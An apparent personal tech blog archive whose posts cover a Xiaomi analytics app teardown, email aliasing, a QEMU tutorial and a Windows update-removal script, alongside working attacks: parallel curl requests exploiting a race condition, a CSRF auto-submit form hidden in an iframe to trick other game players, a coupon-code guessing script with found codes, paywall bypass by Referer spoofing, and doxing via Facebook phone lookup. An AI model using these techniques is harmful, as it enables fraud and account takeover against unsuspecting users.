Kijkcijfers – online service with Graphs for Dutch TV Ratings

I’ve released, a service where Dutch people can view how popular a TV show is. It gives a graph of the latest ratings, coming from Stichting Kijkonderzoek.

If you like this tool, please share it so more people know it exists!
A issue with Google: for some reason Google indexes the page before the Angular library has been loaded, so their database doesn’t match with what’s visible (example). If anyone finds a solution for that, please comment below. Thanks!

Releasing v1 of Radboud University Studentportal Chrome extension

I have released the first version of my Chrome extension for Radboud University Students.
With it, students are able see their schedule for the next days, their latest Blackboard notifications and their incoming email.
Download the latest version in the Chrome Web store.


I have developed it in jQuery with HTML5. The source code is available on Github. Contribution to the project is much appreciated! Download

Reverse Engineering Xiaomi’s Analytics app

I own a Xiaomi Mi4 and I discovered it comes with a pre-installed app called AnalyticsCore, package name, that’s running in the background. I’m not a big fan of apps gaining information without my permissions, so I started investigating its activities. For those who don’t know, Xiaomi is the largest smartphone manufacturer in China and actively growing worldwide.

For this I downloaded dex2jar and Java Decompiler and started AnalyticsCore.apk in it. The APK is downloadable here if you want to take a look yourself.
I first googled what its purpose is, and I found a single thread on the Xiaomi forums, but there is no response or explanation on what it does. See this thread.

Inside Java Decompiler there are mainly three interesting classes in how AnalyticsCore gets his updates, named c.class, e.class and f.class by Java Decompiler. Here is the code of a function inside f.class. (all decompiled code)

private boolean I()
    boolean bool = false;
    if (b.t()) {}
    for (;;)
      return bool;
      long l2 = J();
      m.d("Analytics-UpdateManager", "last update check time is " + new Date(l2).toString());
      long l1 = new Random(System.currentTimeMillis()).nextLong();
      if (System.currentTimeMillis() - l2 >= (l1 % (2L * 43200000L) + 2L * 43200000L) % (2L * 43200000L) - 43200000L + 86400000L) {
        bool = true;

The above function checks some time within every 24 hours for a new Analytics update. It makes the following request every day within 24 hours, which is very often if you ask me:

  public void run()
    int i = 0;
    long l1 = System.currentTimeMillis();
    for (;;)
      int j = i + 1;
      if (i < 2) {}
        Object localObject2 = new java/lang/StringBuilder;
        Object localObject1 = f.a(this.A);
        Object localObject3 = new java/lang/StringBuilder;
        ((StringBuilder)localObject2).append("currentCoreVersion" + k.t(f.b(this.A)));
        localObject3 = new java/lang/StringBuilder;
        ((StringBuilder)localObject2).append("imei" +;
        localObject3 = new java/lang/StringBuilder;
        ((StringBuilder)localObject2).append("mac" +;
        localObject3 = new java/lang/StringBuilder;
        ((StringBuilder)localObject2).append("model" +;
        localObject3 = new java/lang/StringBuilder;
        ((StringBuilder)localObject2).append("nonce" + (String)localObject1);
        localObject3 = new java/lang/StringBuilder;
        ((StringBuilder)localObject2).append("package" + f.b(this.A).getPackageName());
        localObject3 = new java/lang/StringBuilder;
        ((StringBuilder)localObject2).append("ts" + l1);
        localObject3 = n.getMd5Digest(((StringBuilder)localObject2).toString()).toLowerCase(Locale.getDefault());
        localObject2 = new java/lang/StringBuilder;
        Object localObject4 = new java/lang/StringBuilder;
        ((StringBuilder)localObject2).append("¤tCoreVersion=" + k.t(f.b(this.A)));
        localObject4 = new java/lang/StringBuilder;
        ((StringBuilder)localObject2).append("&imei=" +;
        localObject4 = new java/lang/StringBuilder;
        ((StringBuilder)localObject2).append("&mac=" +;
        localObject4 = new java/lang/StringBuilder;
        ((StringBuilder)localObject2).append("&model=" + URLEncoder.encode(, "utf-8"));
        localObject4 = new java/lang/StringBuilder;
        ((StringBuilder)localObject2).append("&nonce=" + (String)localObject1);
        localObject1 = new java/lang/StringBuilder;
        ((StringBuilder)localObject2).append("&package=" + f.b(this.A).getPackageName());
        localObject1 = new java/lang/StringBuilder;
        ((StringBuilder)localObject2).append("&ts=" + l1);
        localObject1 = new java/lang/StringBuilder;
        ((StringBuilder)localObject2).append("&sign=" + (String)localObject3);
        localObject1 = new java/net/URL;
        localObject1 = (HttpURLConnection)((URL)localObject1).openConnection();
        localObject2 = new java/lang/String;
        localObject1 = new java/lang/StringBuilder;
        m.d("Analytics-UpdateManager", "result " + (String)localObject2);
        localObject1 = new org/json/JSONObject;
        localObject3 = ((JSONObject)localObject1).optString("url");
        i = ((JSONObject)localObject1).optInt("code", 0);
        localObject2 = ((JSONObject)localObject1).optString("v");
        f.a(this.A, ((JSONObject)localObject1).optInt("force", 0));
        f.a(this.A, ((JSONObject)localObject1).optBoolean("wifi", true));
        if ((!TextUtils.isEmpty((CharSequence)localObject3)) && (!TextUtils.isEmpty((CharSequence)localObject2)))
          localObject4 = new com/miui/analytics/internal/a;
          if ((b.q()) || (((a)localObject4).a == 0))
            f.a(this.A, ((JSONObject)localObject1).optString("md5"));
            f.b(this.A, (String)localObject3);
        while (i != -8) {
        long l2 = f.c(this.A, ((JSONObject)localObject1).optString("failMsg"));
        l1 = l2;
        i = j;
      catch (Exception localException)
        f.a(this.A, 0L);
        m.e("Analytics-UpdateManager", "exception ", localException);
        i = j;

As you can see, it makes a request to which is of course an official Xiaomi domain. It sends some parameters with it: including IMEI, MAC address, Model, Nonce, Package name and signature.

After the above code has been executed, it might get an (updated) apk file back. Inside e.class this APK file gets downloaded:

public void run()
      if ((!k.m(f.b(this.A))) && (f.d(this.A))) {}
      for (;;)
        Object localObject1 = new java/net/URL;
        localObject1 = (HttpURLConnection)((URL)localObject1).openConnection();
        if (((HttpURLConnection)localObject1).getResponseCode() == 200)
          Object localObject2 = d.a(((HttpURLConnection)localObject1).getInputStream());
          localObject1 = localObject2;
          Object localObject3;
          if (!TextUtils.isEmpty(f.f(this.A)))
            localObject3 = a.a((byte[])localObject2);
            localObject1 = localObject2;
            if (!f.f(this.A).equalsIgnoreCase((String)localObject3)) {
              localObject1 = null;
          if (localObject1 != null)
            Log.d("Analytics-UpdateManager", "download apk success.");
            localObject2 = new java/io/File;
            localObject3 = new java/io/FileOutputStream;

The download location for the APK is set in f.class, where also the 24h time check was placed:

private String G()
      Object localObject = new java/lang/StringBuilder;
      localObject = this.mContext.getExternalCacheDir().getAbsolutePath() + "/Analytics.apk";
      return (String)localObject;
    catch (Exception localException)
      for (;;)
        String str = "";

Now the question is, where does this APK gets installed? I couldn’t find any proof inside the Analytics app itself, so I’m guessing that a higher privileged Xiaomi app runs the installation in the background. The question is then: does it verify the correctness of the APK, and does it make sure that it is in fact an Analytics app? If it does not, that means Xiaomi can install any app on your device it wants, as long as it’s named Analytics.apk.

Update 12:31: Someone told me the package gets installed from l.class, with following code:

      paramContext.getPackageManager().getClass().getMethod("installPackage", new Class[] { Uri.class, Class.forName(""), Integer.TYPE, String.class }).invoke(paramContext.getPackageManager(), new Object[] { Uri.parse(paramString), null, paramContext.getPackageManager().getClass().getField("INSTALL_REPLACE_EXISTING").get(null), null });
      m.d("AppInstaller", "install apk success.");

It seems like there indeed is no validation on what APK is getting installed. So it looks like Xiaomi can replace any (signed?) package they want silently on your device within 24 hours. And I’m not sure when this AppInstaller gets called, but I wonder if it’s possible to place your own Analytics.apk inside the correct dir, and wait for it to get installed (edit: getExternalCacheDir() is inside the app’s sandbox, so probably not). But this sounds like a vulnerability to me anyhow, since they have your IMEI and Device Model, they can install any apk for your device specifically.

If you own a Xiaomi device yourself, you might want to block all access to Xiaomi related domains, because by far this isn’t the only request to a Xiaomi site. I use AdAway for this. It does require root access, but that should be no problem if you run the International ROM. I don’t know if the official rom supports root access out of the box.
My AdAway:

Here is a link to a post with other bloatware apps you can safely remove from your device, next to Analytics:

If anyone has tips or a comment, please email or contact me.

Running a separate email domain

For as long as I can remember, I have always had my primary email hosted with my Isp, which was @Home at that time. It has become Ziggo since then but luckily they didn’t give up on my @home alias.

I thought it was time for a change and now I’m the proud owner of a domain with a new tld: I’m expanding my broenink domains, so far I own and and now also

There are a few considerations why I decided to go for this new approach. First of all, new tlds are the future. There are appearing new ones often nowadays which is also why I registered already. Google has shown this new tld can be successful by pronouncing their mother company Alphabet on And when you’re choosing a domain for email, why not use email as tld itself, so it’s clear to everyone what it’s used for.

Another consideration for me to not just keep a single email address is for spam reasons. I can now sign up on websites with for example for Dropbox. I can use a subdomain as alias so I know where spam mails are coming from. If there is a leak or I am receiving spam from a website I trusted, I can lead it back to that site by proving the from address. And I can block certain domains if I don’t want to receive any mails from them anymore. It gives me full control on which emails I want to receive from whom.

That is the why; now the how. I’m still working things out on how to block certain domains. For now, I have a wildcard cname record in my DNS setting, which allows every subdomain to be accepted by an sending email client. For the email service itself, it would be best to install Postfix with SpamAssassin, but I found this to much of a hassle, so I went for a cloud approach: Zoho Mail. They offer mailing for businesses with a single custom domain for free. And they also support subdomain stripping, which forwards every subdomain to my primary email inbox. So gets forwarded to And finally, I don’t have to worry about webmail interface, because Zoho already delivers that. And all for free.

If anyone has a tip or similar (better) approach, let me know at !

Edit: I created two scripts to add and remove CNAME records directly into DigitalOcean. They override the wildcard CNAME record and forward mails to, in which Google will answer with a Mail Delivery Failed. This allows blacklisting certain subdomains (code is on Github).

r =''+domain+'/records',
 headers={"Authorization":"Bearer "+api_key})

Advanced Cheating on Online Soccer Manager

Online Soccer Manager is a Dutch online click-based game where you can manage your own football team and play against other players. My goal was to win without paying much so I started looking for ways to cheat. I found two bugs on their site: a race-condition bug and a CSRF vulnerability.

Buy more players than you can afford

There are two ways to buy new players: 1) make an offer to another club; 2) buy a player off the transfer list. I found a way to buy two players at the same time from the transfer list – even when your club doesn’t have enough money for both. Result is a negative club balance:


It’s a race-condition bug. The trick is to logon from two different sessions and click the ‘buy’ button from both sessions at exactly the same time. Both requests will run simultaneously – they will access the database at pretty much the same time, check if your balance is high enough to confirm payment, and finally put the player on your selection and subtract the price from your current balance. This will result in a negative balance, which is normally not possible.

It’s fairly difficult to click two buttons from different sessions at *exactly* the same time, so that’s where curl comes in handy:

(curl -sS --data "btnYes=Ja&PlayerNr=214109881" -H 'Cookie: ASP.NET_SessionId=abcefghijklmnopqrs123' "" >/dev/null) & \
(curl -sS --data "btnYes=Ja&PlayerNr=213803529" -H 'Cookie: ASP.NET_SessionId=tuvwxyzabcdefghij321' "" >/dev/null) &

This executes the two actions to buy a player at (almost) exactly the same time. To know the different session_ids, logon from two different browsers and view the saved cookies.
Result: two players in your team and a negative money balance!

(Screenshot made in OSM 3.0; two players are bought at the same time.)

Make others buy your players automatically

I continued looking for bugs and saw there were no tokens send in requests, which makes cross-side request forgery possible! It’s a way to make requests from another domain, acting like it’s from the official onlinesoccermanager website being a legitimate request. That’s particularly useful when you let others make those fake requests for your own advantage.

What I did was create an webpage with these contents, and put my player with id 213803328 for an ridiculously high price on the transfer list:

window.onload = function() {
 <form id="form" method="post" action="">
 <input type="hidden" value="Ja" name="btnYes" />
 <input type="hidden" value="inputPlayerNr" name="213803328" />
 <input type="submit" value="Buy" />

It will confirm the payment like you’re on the official onlinesoccermanager, only automatically. It’s a copy of the confirmation dialog when buying a player, and simulates a click on the ‘buy’ button right after the page loads! Result: it confirms payment for player ‘213803328’ without confirmation. The only requirement is that you’re logged in on, so that the site doesn’t redirect you to the login screen.

The only downside using this script is that it redirects to after submitting the form, so it’s kinda obvious you’re tricking someone into making a unconfirmed payment. Solution is to embed it in an iframe and make it invisible, so that whoever opens it doesn’t suspect anything weird. In simple JS code:

<style type="text/css">
iframe {
    visibility: hidden;
window.onload = function() {
function checkIframeStatus() {
    var iframe1 = document.getElementById('iframe1');
    if (iframe1.src != 'form_submit.html') {
        window.location = '';
    } else {
        setTimeout(100, checkIframeStatus);
    <iframe id="iframe1" src="form_submit.html"></iframe>

The site redirects to a YouTube video after the payment completes.
Last step is to send the link to every player in the competition from inside the OSM chat (so that they’re definitely logged in), and wait for them to click it!

You can go even further and let whoever opens the link automatically resign as manager. I thought it was not a nice thing to do so I didn’t try it obviously, but I’m sure it would work, as it doesn’t require confirmation by password. Changing the user’s email on their profile is also possible without re-entering password. So in general it’s possible to take over someone’s OSM account by just letting them click on a link. That’s a major security vulnerability right there.

Luckily they have just updated their applications to a new version before I could report it. So the bugs have been patched and are no longer open for abuse. Against CSRF they added an authorization header in every request, which is hard to forge.

Emulate file system with different architecture on Arch Linux

For anyone that’s running Arch Linux and wants to emulate a file system different than their own architecture, here’s a small tutorial how to do that. In my case I had a file system from a Raspberry Pi (armv6), and I wanted to run it on my laptop with x86-64.
This stackoverflow question did help a lot, but it didn’t work 100% for me, so hopefully this tutorial will help anyone (it’s also reminder for myself).

Make sure you have your filesystem extracted (or mounted) in some dir and it is your currect directory (cd):

If you don’t know the architecure, find it out with the file command:  file bin/bash. It will return something like: bin/bash: ELF 32-bit LSB executable, ARM, …

For the emulation I use QEMU. Best is to run all commands as root. First, download qemu-user-static from the AUR: and also binfmt-support: I installed it using Yaourt, but there are many ways to install packages from the AUR.

After you’ve installed qemu-user-static, your /usr/bin should contain all qemu files:

Now copy the qemu-*-static file to your file system’s root where * is your architecture. In my case I had to copy qemu-arm-static: cp /usr/bin/qemu-arm-static /mnt/fs

Next, enable binfmts with command update-binfmts –enable and import all qemu files into binfmts with update-binfmts –import (both require root). Stackoverflow said the import command didn’t work, however it did in my case. If not, run: update-binfmts –importdir /var/lib/binfmts/ –import

That’s all. Now you can chroot into your filesystem with: chroot ./ ./qemu-arm-static /bin/bash
It runs an emulated shell (bin/bash is on the filesystem). From there you can do whatever you want: all files and commands will run through qemu.


This is also very useful when downloading firmware online, for example a router’s firmware. You can easily emulate it with qems and chroot into it. That’s very interesting in some cases, for example to find security issues or to make a small modification before flashing it.

Did you know you can Facebook people by phone or email?

Facebook is the first place you normally go when you need information about someone. But what many people I found out are not aware of is that it’s possible to look people up on Facebook by their mail address and phone number.
If someone is mailing you or left his email on a site somewhere, big chance you can find his name, profile picture, social connections (friends and family) and location by just searching for that email address, even when he’s using a pseudonym or nickname. Facebook makes doxing more easy than ever: you don’t even have to know the full name in order to get all his personal details. To do so, just go to, but instead of searching for a name, enter a phone number or email. The corresponding profile should show up now.

Some use cases: next time you have an unknown caller, just enter the number in Facebook and maybe you’ll find out who it is. Same thing if you want to know the person behind a forum profile but you only have one mail address. Or think about this: an advertisement on / Ebay with a mobile phone number to contact the seller. You can easy verify if it’s legit now. There are many ways this can be an useful tool. I have found a few people myself by this, and people are always surprised when I know their full name and details after just getting one WhatsApp message.

How to disable this for your own profile?

Facebook placed annoying popups a while back to “ask” you to enter your number in order to “make your account more secure”. Great chance you fell for this and also entered your own mobile phone. If you did that, then probably everyone can find you as long as they have your number. Luckily it’s easy to disable. Edit your privacy settings on Facebook. Go to: Settings > Privacy > ‘Who can look me up?’ and change ‘phone number’ to ‘Friends’.

Here it’s also possible to (partly) disable lookup by your email address. I have set both to ‘Friends only’ as you can see above. It is always a good idea to check all the privacy settings to make sure you’re not sharing things you don’t want. I personally have set my profile as strict as possible, also for the things I’m posting. People should be careful with what they put on the public web, or at least be aware of what a stranger can see. It is most of the time more than they realize.

Read articles on social media for free. Good idea?

Yesterday I opened a news article someone shared on Facebook which brought me to the website below. Notice the message box on top saying: “A subscriber shared this article so you can read it for free. Want to read more? Sign up and read 5 articles per month for free.” Because someone shared the article on Facebook I can read it for free. That’s interesting, because there are only a few ways for this site to know it’s a shared article, and most of those ways are easy to spoof / manipulate. Are we able to read more articles for free that are not shared…?


How does it work?

I can think of two ways this site knows I’m viewing a shared article:

  1. The link to the article is unique and specifically generated to be shared. By checking the unique part of the URL the website recognizes it as a free, shared article.
  2. The website checks which site I’m coming from. If it’s from Facebook, that must mean someone shared the article.

It is not option one, which can be checked by just looking at the URL. The URL contains only the article’s number and title, so no uniquely generated part. It must be option two: it checks where I’m coming from. If it’s from (or or any other social media site) it shows the article for free. There is a second requirement. If I open a different article (also shared), I’m still required to sign up. It remembers whether I’ve already seen a free article and only shows the first one for free. Again two scenarios:

  1. After I open the first article the website stores my IP inside a database. Every other link after that queries the database first. It only shows the full article if my IP is not in there yet.
  2. After opening the first article it stores a cookie in my browser and the next time it checks if that cookie already exists. If it does, it’s not free and I must sign up first.

The first option, saving IP addresses inside a database, is regularly the best way to go because IPs are harder to manipulate than cookies. I could change my IP address temporary by using a proxy, VPN or similar, but that’s a lot of hassle for reading an article. A cookie on the other hand is fairly easy to edit or remove as it is stored locally. The IP based way, option one, has a major downside: only one device in a network can see one article. That’s not very ideal in schools, workplaces etc that have shared IPs, and it’s probably not what this news site wants. I checked it and they indeed placed a cookie called ‘socialread’ with the article’s number as value (in my case 1118069; I confirmed it in Firefox by rightclick, View Page Info, Security, View Cookies).

Is this a reliable method to let people read only one (shared) article?

In short: no. As said, cookies are easy to manipulate. I used Cookie Manager+ for this in Firefox. This addon makes it possible to change every cookie that’s set in your browser. I was able to change the cookie ‘socialread’ to a different article number. Or even easier: just disable cookies at all, that way the site can’t even save the cookie and surprisingly it’s still showing articles for free. The news site isn’t confirming whether the cookie is actually set or not. (I won’t get into detail on how to disable or change cookies, but I can assure you, it’s really easy). The other check, if we’re coming from Facebook, was a little bit harder to spoof (but still not hard). Of course, with the cookie check bypassed, it is already possible to see more than one shared article. But if I want to see a certain article on this news website, I have to look it up on Facebook first and find where it’s shared. Not the most efficient way. Easier would be to just always act like we’re coming directly from Facebook, even if we’re not, to unlock all articles. The news site checks our history by the Referer header inside each request. If you’re for example visiting from, a lot of info is sent to, including the exact URL you’re coming from. That last information is stored inside a header called ‘Referer’ and that’s the header you want to change to A way to do this automatically is by (again) using a Firefox addon. I used Modify Headers for this, but there are many addons available that can spoof headers.

Other method

Social media isn’t the only trigger that makes the full text available, it’s also when coming from Google. They probably did this to get a higher ranking in Google (so-called SEO). Instead of setting the default Referer to, set it to There is no need to disable or edit cookies now, because not only the first article is free: as long as you’re from Google the full article will be visible. With these two methods (Referer spoofed and cookies disabled), it is possible to bypass all checks and read everything on the website for free. If they want to make it more difficult to bypass, they should go for an IP address based solution instead of cookies. If that’s too strict (only one device in a network seeing one article for free), they should reconsider if viewing one shared article for free is a great idea at all, because as far as I know there is no other way to make this work without being able to easily bypass it. There is no Facebook API available that confirms if a visitor is coming from a shared post. A different approach could be to put a share button on every page that generates a unique link on click. That results in only unique links being free, and just copy-pasting the article URL in a Facebook post does not. And that’s not very ideal either. Do you have another solution? I’m happy to hear it. Put it in the comments below or contact me by social media on top of this page! Also, if you liked it, please share it on social media, and you’ll be able to read everything for free on my site afterwards ;D

Script for removing Windows 7 updates that should “ease the upgrade to Windows 10”

For those who are running Windows 7 and (just like me) don’t want to upgrade to Windows 10, here’s a script to remove all Microsoft updates contributing to the upgrade. It fetches the documentation for all installed updates (not security related and starting from 2015) and looks for certain keywords inside that documentation. Currently it removes everything mentioning “Windows 10”, “ease the upgrade experience”, “upgrading” or “telemetry”. You can change this to your own words inside the script.
Note, this should also remove KB3035583 that gives the Windows 10 upgrade icon in the taskbar. That tray icon should be gone after running the script.
It also tries to remove all telemetry features which collects all sorts of user activity and sends it to Microsoft. It is enabled in Windows 10 by default and Microsoft hasn’t provided an option to completely disable it for Home and Pro users. Some telemetry updates are installed in Windows 7 as well, for example KB3068708.

The script is written in Python2. If you don’t have it, install the latest version here: I have only tried it on Windows 7 x86, but it probably works on 8(.1) and 64-bit as well.

import subprocess
import urllib2
import sys
import time

keywords = [" ease the upgrade experience ", " Windows 10 ", " upgrading ", " telemetry "] #keywords to look for inside the documentation
startKB = 0 #start from a certain KB number

removing = []
kbs = []

def run_command(command):
    p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
    return iter(p.stdout.readline, b'')

print "Getting installed updates list..."
command = 'wmic qfe list'.split()
for line in run_command(command):
     for str in line.split(" "):
          if str.startswith("KB") and not "Security Update" in line and "2015" in line:
               kb = str[2:]
               if int(kb) > int(startKB):

print "Found %s updates" % (len(kbs))
print "Fetching KB documentations (this might take a while)..."
for kb in kbs:
    url = ""+kb
    req = urllib2.Request(url)
        f = urllib2.urlopen(req)
        html =
        if any(x in html for x in keywords):
            print "[%i] KB%s: Bad, see %s" % (i, kb, url)
            print "[%i] KB%s: Good" % (i, kb)
    except urllib2.URLError as e:
        print "[%i] KB%s: %s" % (i, kb, e.reason)

if len(removing) == 0:
    print "Nothing found!"

print "Ready to remove following updates:"
print removing
print "They will be uninstalled one by one. You can choose individually whether you want it removed or not."
proceed =  raw_input("Continue? [Y,n] ")
if (proceed == "") or (proceed == "y") or (proceed == "Y") or (proceed == "yes"):
    for kb in removing:
        print "Removing KB%s..." % kb["wusa.exe","/uninstall","/kb:"+kb,"/norestart"], shell=True)


Bruteforcing coupon codes for discount

I sometimes buy stuff from Chinese webstores because of their low prices. Now the yuan value is dropping it is now cheaper than ever to ship products from China. is one of the more popular Chinese webshops. I was looking around on their website and comparing prices when I found the coupon code b185f7 by googling for 5% off.

I noticed there were more coupons of form b185f7: six characters long, only letters and numbers. I tried them with caps and without caps; it didn’t matter. That means there are only 36 possibilities for every character (0-9a-z) which gives a total possibility of 36^6. That’s not very much: enough to try a bruteforce (a full bruteforce will still take some time; I’m trying it randomly in this post).
Edit: possibly it’s in Hex, which limits the possibilities to 16^6 (0-9a-f), which is even lower and much faster to bruteforce. I didn’t test it, however.

A further thing I noticed that it is unfortunately not possible to enter more than one coupon on a single order. You can only use one at a time. That is a bummer because now two coupons with 5% off won’t give you more discount.
One thing that is good in my case, is that you can endlessly try to enter coupons. It doesn’t matter if they are valid or not; it won’t disable the field after a few wrong tries. And it doesn’t give a captcha to solve.

I wrote the little bash script below to try many coupon possibilities by randomly generating them (not really bruteforcing, just hoping we’re lucky):


while [ 1 ]

  couponcode=$(cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 6 | head -n 1)
  curling=$(curl -sS --data "com=shopcart&t=useCoupon&coupon_code=$couponcode" -H 'Cookie: banggood_SID=0f18fd4cf40bfb1dec646807c7fa5522' "")

  if [[ $curling == *"Coupon is only allowed"* ]] || [[ $curling == *"Invalid"* ]] || [[ $curling == *"expired"* ]] || [[ $curling == "" ]]
    echo "$couponcode invalid";
    echo "$couponcode => $curling" >> win.txt;
    echo "$couponcode VALID";

  sleep 5

As you see, it sends a curl request to the banggood website with my session id connected to my cart. I’m trying a infinite amount of time if a random coupon code I get is valid or not. If it gives the message “Coupon is not allowed” or “Invalid Coupon Code” if the code is invalid.
I’m using /dev/urandom as a randomness source and with tr and fold I make sure it is 6 characters long and only contains numbers and letters. As mentioned, caps or not does not matter.

I ran the script for a few hours and it didn’t take long to find valid ones. Unfortunately, they are either only 5% off or only for a specific user account. My hopes were I found more than 5% discount but that wasn’t the case.

I contacted banggood customer service (with only mail address on their site) on the 17th of August but they did not respond. I explained to them what was wrong with their coupon code system and how to fix it. I explained that 6 characters case insensitive isn’t cryptographically secure enough to prevent people from cheating. As a solution I told them to set a maximum on the amount of wrong coupon codes that can be entered. That would solve the problem without breaking functionality.

Unfortunately they didn’t respond. Here are some coupon codes I found while running the script for a short period of time. They are valid coupon codes for 5% discount each:

5bf7bb is 5%
edb44d is 5%
533876 is 5%
e7e744 is 5%
cc9ec5 is 5%
25d342 is 5%

If you are a website owner or developer and you run a webshop, make sure your coupon codes are not easily crackable. Many webshops use original names for their coupon codes instead of generating them, like ‘christmas5off’ or something. These are more difficult to bruteforce (but dictionary may have small chance of success) and therefore more safe to use.